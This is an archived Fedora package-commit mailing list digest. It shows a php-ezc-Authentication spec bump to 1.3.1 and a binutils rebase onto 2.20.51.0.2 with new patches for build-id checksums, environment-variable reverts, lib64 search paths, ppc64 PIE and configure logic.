RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-12/php-ezc-Authentication.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Authentication.spec	26 Jul 2009 18:00:25 -0000	1.3
+++ php-ezc-Authentication.spec	12 Oct 2009 11:11:40 -0000	1.4
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Authentication
-Version:        1.3
-Release:        2%{?dist}
+Version:        1.3.1
+Release:        1%{?dist}
 Summary:        Support for different means of identification and authentication
 
 Group:          Development/Libraries
@@ -87,6 +87,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.1-1
+- Update to 1.3.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Authentication/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jun 2009 19:37:45 -0000	1.3
+++ sources	12 Oct 2009 11:11:40 -0000	1.4
@@ -1 +1 @@
-f0e62c5b4e2dbbb820e1a9125f1c6303  Authentication-1.3.tgz
+42b74afa59cb62a4841b02e5dfaf3494  Authentication-1.3.1.tgz



From nickc at fedoraproject.org  Mon Oct 12 11:18:37 2009
From: nickc at fedoraproject.org (Nicholas Clifton)
Date: Mon, 12 Oct 2009 11:18:37 +0000 (UTC)
Subject: rpms/binutils/devel binutils-2.20.51.0.2-build-id.patch, NONE,
	1.1 binutils-2.20.51.0.2-envvar-revert.patch, NONE,
	1.1 binutils-2.20.51.0.2-ia64-lib64.patch, NONE,
	1.1 binutils-2.20.51.0.2-libtool-lib64.patch, NONE,
	1.1 binutils-2.20.51.0.2-ppc64-pie.patch, NONE,
	1.1 binutils-2.20.51.0.2-set-long-long.patch, NONE,
	1.1 binutils-2.20.51.0.2-version.patch, NONE, 1.1 .cvsignore,
	1.47, 1.48 binutils.spec, 1.175, 1.176 sources, 1.47,
	1.48 binutils-2.19.50.0.1-ia64-lib64.patch, 1.1,
	NONE binutils-2.19.51.0.10-build-id.patch, 1.2,
	NONE binutils-2.19.51.0.10-envvar-revert.patch, 1.1,
	NONE binutils-2.19.51.0.10-libtool-lib64.patch, 1.1,
	NONE binutils-2.19.51.0.10-ppc64-pie.patch, 1.1,
	NONE binutils-2.19.51.0.10-set-long-long.patch, 1.1,
	NONE binutils-2.19.51.0.10-version.patch, 1.1,
	NONE binutils-2.19.51.0.11-moxie.patch, 1.1,
	NONE binutils-2.19.51.0.14-cxxfilt-java-doc.patch, 1.1,
	NONE binutils-2.19.51.0.14-unique-is-global.patch, 1.1, NONE
Message-ID: <20091012111837.D281611C00DB@cvs1.fedora.phx.redhat.com>

Author: nickc

Update of /cvs/pkgs/rpms/binutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17618

Modified Files:
	.cvsignore binutils.spec sources 
Added Files:
	binutils-2.20.51.0.2-build-id.patch 
	binutils-2.20.51.0.2-envvar-revert.patch 
	binutils-2.20.51.0.2-ia64-lib64.patch 
	binutils-2.20.51.0.2-libtool-lib64.patch 
	binutils-2.20.51.0.2-ppc64-pie.patch 
	binutils-2.20.51.0.2-set-long-long.patch 
	binutils-2.20.51.0.2-version.patch 
Removed Files:
	binutils-2.19.50.0.1-ia64-lib64.patch 
	binutils-2.19.51.0.10-build-id.patch 
	binutils-2.19.51.0.10-envvar-revert.patch 
	binutils-2.19.51.0.10-libtool-lib64.patch 
	binutils-2.19.51.0.10-ppc64-pie.patch 
	binutils-2.19.51.0.10-set-long-long.patch 
	binutils-2.19.51.0.10-version.patch 
	binutils-2.19.51.0.11-moxie.patch 
	binutils-2.19.51.0.14-cxxfilt-java-doc.patch 
	binutils-2.19.51.0.14-unique-is-global.patch 
Log Message:
- Rebase on 2.20 tarball.
- Remove redundant moxie patch.
- Remove redundant unique is global patch.
- Remove redundant cxxfilt java doc patch.



binutils-2.20.51.0.2-build-id.patch:
 elfcode.h |   18 ++++++++++++++++++
 section.c |    2 +-
 2 files changed, 19 insertions(+), 1 deletion(-)

--- NEW FILE binutils-2.20.51.0.2-build-id.patch ---
--- ../binutils-2.20.51.0.2.orig/bfd/elfcode.h	2009-10-12 11:45:05.000000000 +0100
+++ bfd/elfcode.h	2009-10-12 11:47:14.000000000 +0100
@@ -1175,6 +1175,24 @@ elf_checksum_contents (bfd *abfd,
 
       if (i_shdr.contents)
 	(*process) (i_shdr.contents, i_shdr.sh_size, arg);
+      else
+	{
+	  asection *sec;
+
+	  sec = bfd_section_from_elf_index (abfd, count);
+	  if (sec != NULL)
+	    {
+	      if (sec->contents == NULL)
+		{
+		  /* Force rereading from file.  */
+		  sec->flags &= ~SEC_IN_MEMORY;
+		  if (! bfd_malloc_and_get_section (abfd, sec, & sec->contents))
+		    continue;
+		}
+	      if (sec->contents != NULL)
+		(*process) (sec->contents, i_shdr.sh_size, arg);
+	    }
+	}
     }
 
   return TRUE;
--- ../binutils-2.20.51.0.2.orig/bfd/section.c	2009-10-12 11:45:05.000000000 +0100
+++ bfd/section.c	2009-10-12 11:48:44.000000000 +0100
@@ -1553,7 +1553,7 @@ bfd_malloc_and_get_section (bfd *abfd, s
     return TRUE;
 
   p = (bfd_byte *)
-      bfd_malloc (sec->rawsize > sec->size ? sec->rawsize : sec->size);
+      bfd_zmalloc (sec->rawsize > sec->size ? sec->rawsize : sec->size);
   if (p == NULL)
     return FALSE;
   *buf = p;

binutils-2.20.51.0.2-envvar-revert.patch:
 NEWS       |    5 -----
 ld.texinfo |   16 +++-------------
 ldmain.c   |    8 --------
 3 files changed, 3 insertions(+), 26 deletions(-)

--- NEW FILE binutils-2.20.51.0.2-envvar-revert.patch ---
--- ../binutils-2.20.51.0.2.orig/ld/ldmain.c	2009-10-12 11:28:44.000000000 +0100
+++ ld/ldmain.c	2009-10-12 11:38:36.000000000 +0100
@@ -256,14 +256,6 @@ main (int argc, char **argv)
   command_line.warn_search_mismatch = TRUE;
   command_line.check_section_addresses = -1;
 
-  if (getenv ("LD_SYMBOLIC") != NULL)
-    command_line.symbolic = symbolic;
-  else if (getenv ("LD_SYMBOLIC_FUNCTIONS") != NULL)
-    command_line.symbolic = symbolic_functions;
-
-  if (getenv ("LD_AS_NEEDED") != NULL)
-    as_needed = TRUE;
-
   /* We initialize DEMANGLING based on the environment variable
      COLLECT_NO_DEMANGLE.  The gcc collect2 program will demangle the
      output of the linker, unless COLLECT_NO_DEMANGLE is set in the
--- ../binutils-2.20.51.0.2.orig/ld/ld.texinfo	2009-10-12 11:28:44.000000000 +0100
+++ ld/ld.texinfo	2009-10-12 11:38:36.000000000 +0100
@@ -1140,10 +1140,7 @@ for a library that satisfies a symbol re
 which is undefined at the point that the library was linked, or, if
 the library is not found in the DT_NEEDED lists of other libraries
 linked up to that point, a reference from another dynamic library.
- at option{--no-as-needed} restores the default behaviour.  If the
-environment variable @code{LD_AS_NEEDED} is set, the linker will
-behave as if the @option{--as-needed} option is passed to the linker as
-the first command line option.
+ at option{--no-as-needed} restores the default behaviour.
 
 @kindex --add-needed
 @kindex --no-add-needed
@@ -1207,21 +1204,14 @@ When creating a shared library, bind ref
 definition within the shared library, if any.  Normally, it is possible
 for a program linked against a shared library to override the definition
 within the shared library.  This option is only meaningful on ELF
-platforms which support shared libraries.  If @option{-Bsymbolic} is not
-used when linking a shared library, the linker will also turn on this
-option if the environment variable @code{LD_SYMBOLIC} is set.
+platforms which support shared libraries.
 
 @kindex -Bsymbolic-functions
 @item -Bsymbolic-functions
 When creating a shared library, bind references to global function
 symbols to the definition within the shared library, if any.
 This option is only meaningful on ELF platforms which support shared
-libraries.  If @option{-Bsymbolic-functions} is not used when linking a
-shared library, the linker will also turn on this option if the
-environment variable @code{LD_SYMBOLIC_FUNCTIONS} is set.  When
-both environment variables @code{LD_SYMBOLIC} and
- at code{LD_SYMBOLIC_FUNCTIONS} are set, @code{LD_SYMBOLIC} will take
-precedent.
+libraries.
 
 @kindex --dynamic-list=@var{dynamic-list-file}
 @item --dynamic-list=@var{dynamic-list-file}
--- ../binutils-2.20.51.0.2.orig/ld/NEWS	2009-10-12 11:28:44.000000000 +0100
+++ ld/NEWS	2009-10-12 11:38:36.000000000 +0100
@@ -64,11 +64,6 @@ Changes in 2.20:
   For the switch --enable-runtime-pseudo-reloc it uses for 32-bit
   runtime pseudo relocation version one, for 64-bit the version two.
 
-* ELF: Support environment variable LD_AS_NEEDED for --as-needed.
-
-* ELF: Support environment variables, LD_SYMBOLIC for -Bsymbolic and
-  LD_SYMBOLIC_FUNCTIONS for -Bsymbolic-functions.
-
 Changes in 2.19:
 
 * Linker scripts support a new INSERT command that makes it easier to

binutils-2.20.51.0.2-ia64-lib64.patch:
 elf64_ia64.sh |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE binutils-2.20.51.0.2-ia64-lib64.patch ---
2004-05-14  Jakub Jelinek  <jakub at redhat.com>

	* emulparams/elf64_ia64.sh (LIBPATH_SUFFIX): Use */lib64 paths on
	ia64-linux if /lib64 tree is present.

--- ../binutils-2.19.50.0.1.orig/ld/emulparams/elf64_ia64.sh	2008-11-21 16:45:00.000000000 +0000
+++ ld/emulparams/elf64_ia64.sh	2008-11-21 16:55:46.000000000 +0000
@@ -38,3 +38,13 @@ OTHER_READONLY_SECTIONS="${OTHER_READONL
 SMALL_DATA_CTOR=" "
 SMALL_DATA_DTOR=" "
 SHARABLE_SECTIONS=yes
+
+# For Linux modify the default library search path
+# to first include a 64-bit specific directory.
+case "$target" in
+  ia64*-linux*)
+    case "$EMULATION_NAME" in
+      *64*) test -d /lib64 && LIBPATH_SUFFIX=64 ;;
+    esac
+    ;;
+esac

binutils-2.20.51.0.2-libtool-lib64.patch:
 bfd/configure           |   26 +++++++++++++++++++++++++-
 bfd/configure.orig      |only
 binutils/configure      |   26 +++++++++++++++++++++++++-
 binutils/configure.orig |only
 gas/configure           |   26 +++++++++++++++++++++++++-
 gas/configure.orig      |only
 gprof/configure         |   26 +++++++++++++++++++++++++-
 gprof/configure.orig    |only
 ld/configure            |   26 +++++++++++++++++++++++++-
 ld/configure.orig       |only
 libtool.m4              |   22 +++++++++++++++++++++-
 opcodes/configure       |   26 +++++++++++++++++++++++++-
 opcodes/configure.orig  |only
 13 files changed, 171 insertions(+), 7 deletions(-)

--- NEW FILE binutils-2.20.51.0.2-libtool-lib64.patch ---
diff -rup ../binutils-2.20.51.0.2.orig/bfd/configure ./bfd/configure
--- ../binutils-2.20.51.0.2.orig/bfd/configure	2009-10-12 11:28:45.000000000 +0100
+++ ./bfd/configure	2009-10-12 11:31:43.000000000 +0100
@@ -10670,10 +10670,34 @@ fi
   # before this can be enabled.
   hardcode_into_libs=yes
 
+   # find out which ABI we are using
+   libsuff=
+   case "$host_cpu" in
+   x86_64*|s390*|powerpc*|ppc*|sparc*)
+     echo 'int i;' > conftest.$ac_ext
+     if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+   (eval $ac_compile) 2>&5
+   ac_status=$?
+   echo "$as_me:$LINENO: \$? = $ac_status" >&5
+   (exit $ac_status); }; then
+       case `/usr/bin/file conftest.$ac_objext` in
+       *64-bit*)
+         libsuff=64
+         if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+           sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+         fi
+         sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+         ;;
+       esac
+     fi
+     rm -rf conftest*
+     ;;
+   esac
+ 
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on
Only in ./bfd: configure.orig
diff -rup ../binutils-2.20.51.0.2.orig/binutils/configure ./binutils/configure
--- ../binutils-2.20.51.0.2.orig/binutils/configure	2009-10-12 11:28:44.000000000 +0100
+++ ./binutils/configure	2009-10-12 11:31:43.000000000 +0100
@@ -10461,10 +10461,34 @@ fi
   # before this can be enabled.
   hardcode_into_libs=yes
 
+  # find out which ABI we are using
+  libsuff=
+  case "$host_cpu" in
+  x86_64*|s390*|powerpc*|ppc*|sparc*)
+    echo 'int i;' > conftest.$ac_ext
+    if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+      case `/usr/bin/file conftest.$ac_objext` in
+      *64-bit*)
+        libsuff=64
+        if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+          sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+        fi
+        sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+        ;;
+      esac
+    fi
+    rm -rf conftest*
+    ;;
+  esac
+
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on
Only in ./binutils: configure.orig
diff -rup ../binutils-2.20.51.0.2.orig/gas/configure ./gas/configure
--- ../binutils-2.20.51.0.2.orig/gas/configure	2009-10-12 11:28:45.000000000 +0100
+++ ./gas/configure	2009-10-12 11:31:43.000000000 +0100
@@ -10418,10 +10418,34 @@ fi
   # before this can be enabled.
   hardcode_into_libs=yes
 
+  # find out which ABI we are using
+  libsuff=
+  case "$host_cpu" in
+  x86_64*|s390*|powerpc*|ppc*|sparc*)
+    echo 'int i;' > conftest.$ac_ext
+    if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+      case `/usr/bin/file conftest.$ac_objext` in
+      *64-bit*)
+        libsuff=64
+        if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+          sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+        fi
+        sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+        ;;
+      esac
+    fi
+    rm -rf conftest*
+    ;;
+  esac
+
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on
Only in ./gas: configure.orig
diff -rup ../binutils-2.20.51.0.2.orig/gprof/configure ./gprof/configure
--- ../binutils-2.20.51.0.2.orig/gprof/configure	2009-10-12 11:28:44.000000000 +0100
+++ ./gprof/configure	2009-10-12 11:31:43.000000000 +0100
@@ -10356,10 +10356,34 @@ fi
   # before this can be enabled.
   hardcode_into_libs=yes
 
+  # find out which ABI we are using
+  libsuff=
+  case "$host_cpu" in
+  x86_64*|s390*|powerpc*|ppc*|sparc*)
+    echo 'int i;' > conftest.$ac_ext
+    if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+      case `/usr/bin/file conftest.$ac_objext` in
+      *64-bit*)
+        libsuff=64
+        if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+          sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+        fi
+        sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+        ;;
+      esac
+    fi
+    rm -rf conftest*
+    ;;
+  esac
+
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on
Only in ./gprof: configure.orig
diff -rup ../binutils-2.20.51.0.2.orig/ld/configure ./ld/configure
--- ../binutils-2.20.51.0.2.orig/ld/configure	2009-10-12 11:28:44.000000000 +0100
+++ ./ld/configure	2009-10-12 11:31:43.000000000 +0100
@@ -10806,10 +10806,34 @@ fi
   # before this can be enabled.
   hardcode_into_libs=yes
 
+  # find out which ABI we are using
+  libsuff=
+  case "$host_cpu" in
+  x86_64*|s390*|powerpc*|ppc*|sparc*)
+    echo 'int i;' > conftest.$ac_ext
+    if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+      case `/usr/bin/file conftest.$ac_objext` in
+      *64-bit*)
+        libsuff=64
+        if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+          sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+        fi
+        sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+        ;;
+      esac
+    fi
+    rm -rf conftest*
+    ;;
+  esac
+
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on
Only in ./ld: configure.orig
diff -rup ../binutils-2.20.51.0.2.orig/libtool.m4 ./libtool.m4
--- ../binutils-2.20.51.0.2.orig/libtool.m4	2009-10-12 11:28:44.000000000 +0100
+++ ./libtool.m4	2009-10-12 11:31:43.000000000 +0100
@@ -2475,10 +2475,30 @@ linux* | k*bsd*-gnu | kopensolaris*-gnu)
   # before this can be enabled.
   hardcode_into_libs=yes
 
+  # find out which ABI we are using
+  libsuff=
+  case "$host_cpu" in
+  x86_64*|s390*|powerpc*|ppc*|sparc*)
+    echo 'int i;' > conftest.$ac_ext
+    if AC_TRY_EVAL(ac_compile); then
+      case `/usr/bin/file conftest.$ac_objext` in
+      *64-bit*)
+        libsuff=64
+        if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+          sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+        fi
+        sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+        ;;
+      esac
+    fi
+    rm -rf conftest*
+    ;;
+  esac
+
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on
diff -rup ../binutils-2.20.51.0.2.orig/opcodes/configure ./opcodes/configure
--- ../binutils-2.20.51.0.2.orig/opcodes/configure	2009-10-12 11:28:44.000000000 +0100
+++ ./opcodes/configure	2009-10-12 11:31:43.000000000 +0100
@@ -10406,10 +10406,34 @@ fi
   # before this can be enabled.
   hardcode_into_libs=yes
 
+  # find out which ABI we are using
+  libsuff=
+  case "$host_cpu" in
+  x86_64*|s390*|powerpc*|ppc*|sparc*)
+    echo 'int i;' > conftest.$ac_ext
+    if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+      case `/usr/bin/file conftest.$ac_objext` in
+      *64-bit*)
+        libsuff=64
+        if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+          sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+        fi
+        sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+        ;;
+      esac
+    fi
+    rm -rf conftest*
+    ;;
+  esac
+
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on
Only in ./opcodes: configure.orig

binutils-2.20.51.0.2-ppc64-pie.patch:
 elf64-ppc.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE binutils-2.20.51.0.2-ppc64-pie.patch ---
--- ../binutils-2.20.51.0.2.orig/bfd/elf64-ppc.c	2009-10-12 11:28:45.000000000 +0100
+++ bfd/elf64-ppc.c	2009-10-12 11:34:17.000000000 +0100
@@ -11992,7 +11992,12 @@ ppc64_elf_relocate_section (bfd *output_
 	      else if (!SYMBOL_REFERENCES_LOCAL (info, &h->elf)
 		       && !is_opd
 		       && r_type != R_PPC64_TOC)
-		outrel.r_info = ELF64_R_INFO (h->elf.dynindx, r_type);
+		{
+		  outrel.r_info = ELF64_R_INFO (h->elf.dynindx, r_type);
+		  if (h->elf.dynindx == -1
+		      && h->elf.root.type == bfd_link_hash_undefweak)
+		    memset (&outrel, 0, sizeof outrel);
+		}
 	      else
 		{
 		  /* This symbol is local, or marked to become local,

binutils-2.20.51.0.2-set-long-long.patch:
 configure      |    6 ++++--
 configure.in   |    6 ++++--
 configure.orig |   26 +++++++++++++++++++++++++-
 3 files changed, 33 insertions(+), 5 deletions(-)

--- NEW FILE binutils-2.20.51.0.2-set-long-long.patch ---
diff -rup ../binutils-2.20.51.0.2.orig/bfd/configure bfd/configure
--- ../binutils-2.20.51.0.2.orig/bfd/configure	2009-10-12 11:45:05.000000000 +0100
+++ bfd/configure	2009-10-12 11:45:13.000000000 +0100
@@ -12694,11 +12694,13 @@ if test "x${ac_cv_sizeof_long}" = "x8"; 
   BFD_HOST_64BIT_LONG=1
   test -n "${HOST_64BIT_TYPE}" || HOST_64BIT_TYPE="long"
   test -n "${HOST_U_64BIT_TYPE}" || HOST_U_64BIT_TYPE="unsigned long"
-elif test "x${ac_cv_sizeof_long_long}" = "x8"; then
+fi
+if test "x${ac_cv_sizeof_long_long}" = "x8"; then
   BFD_HOST_64BIT_LONG_LONG=1
   test -n "${HOST_64BIT_TYPE}" || HOST_64BIT_TYPE="long long"
   test -n "${HOST_U_64BIT_TYPE}" || HOST_U_64BIT_TYPE="unsigned long long"
-  if test "x${ac_cv_sizeof_void_p}" = "x8"; then
+  if test "x${ac_cv_sizeof_void_p}" = "x8" \
+          -a "x${ac_cv_sizeof_long}" != "x8"; then
     BFD_HOSTPTR_T="unsigned long long"
   fi
 fi
diff -rup ../binutils-2.20.51.0.2.orig/bfd/configure.in bfd/configure.in
--- ../binutils-2.20.51.0.2.orig/bfd/configure.in	2009-10-12 11:45:05.000000000 +0100
+++ bfd/configure.in	2009-10-12 11:45:13.000000000 +0100
@@ -172,11 +172,13 @@ if test "x${ac_cv_sizeof_long}" = "x8"; 
   BFD_HOST_64BIT_LONG=1
   test -n "${HOST_64BIT_TYPE}" || HOST_64BIT_TYPE="long"
   test -n "${HOST_U_64BIT_TYPE}" || HOST_U_64BIT_TYPE="unsigned long"
-elif test "x${ac_cv_sizeof_long_long}" = "x8"; then
+fi
+if test "x${ac_cv_sizeof_long_long}" = "x8"; then
   BFD_HOST_64BIT_LONG_LONG=1
   test -n "${HOST_64BIT_TYPE}" || HOST_64BIT_TYPE="long long"
   test -n "${HOST_U_64BIT_TYPE}" || HOST_U_64BIT_TYPE="unsigned long long"
-  if test "x${ac_cv_sizeof_void_p}" = "x8"; then
+  if test "x${ac_cv_sizeof_void_p}" = "x8" \
+          -a "x${ac_cv_sizeof_long}" != "x8"; then
     BFD_HOSTPTR_T="unsigned long long"
   fi
 fi
diff -rup ../binutils-2.20.51.0.2.orig/bfd/configure.orig bfd/configure.orig
--- ../binutils-2.20.51.0.2.orig/bfd/configure.orig	2009-10-12 11:45:05.000000000 +0100
+++ bfd/configure.orig	2009-10-12 11:31:43.000000000 +0100
@@ -10670,10 +10670,34 @@ fi
   # before this can be enabled.
   hardcode_into_libs=yes
 
+   # find out which ABI we are using
+   libsuff=
+   case "$host_cpu" in
+   x86_64*|s390*|powerpc*|ppc*|sparc*)
+     echo 'int i;' > conftest.$ac_ext
+     if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+   (eval $ac_compile) 2>&5
+   ac_status=$?
+   echo "$as_me:$LINENO: \$? = $ac_status" >&5
+   (exit $ac_status); }; then
+       case `/usr/bin/file conftest.$ac_objext` in
+       *64-bit*)
+         libsuff=64
+         if test x"$sys_lib_search_path_spec" = x"/lib /usr/lib /usr/local/lib"; then
+           sys_lib_search_path_spec="/lib${libsuff} /usr/lib${libsuff} /usr/local/lib${libsuff}"
+         fi
+         sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff}"
+         ;;
+       esac
+     fi
+     rm -rf conftest*
+     ;;
+   esac
+ 
   # Append ld.so.conf contents to the search path
   if test -f /etc/ld.so.conf; then
     lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[	 ]*hwcap[	 ]/d;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
-    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+    sys_lib_dlsearch_path_spec="/lib${libsuff} /usr/lib${libsuff} $lt_ld_extra"
   fi
 
   # We used to test for /lib/ld.so.1 and disable shared libraries on

binutils-2.20.51.0.2-version.patch:
 Makefile.am |    6 +++---
 Makefile.in |    6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE binutils-2.20.51.0.2-version.patch ---
--- ../binutils-2.20.51.0.2.orig/bfd/Makefile.am	2009-10-12 11:28:45.000000000 +0100
+++ bfd/Makefile.am	2009-10-12 11:42:24.000000000 +0100
@@ -951,12 +951,12 @@ bfdver.h: $(srcdir)/version.h $(srcdir)/
 	report_bugs_to="\"$(REPORT_BUGS_TO)\"" ;\
 	if test "x$(RELEASE)" = x ; then \
 	  bfd_version_date=`sed -n -e 's/.*DATE //p' < $(srcdir)/version.h` ;\
-	  bfd_version_string="\"$(VERSION).$${bfd_version_date}\"" ;\
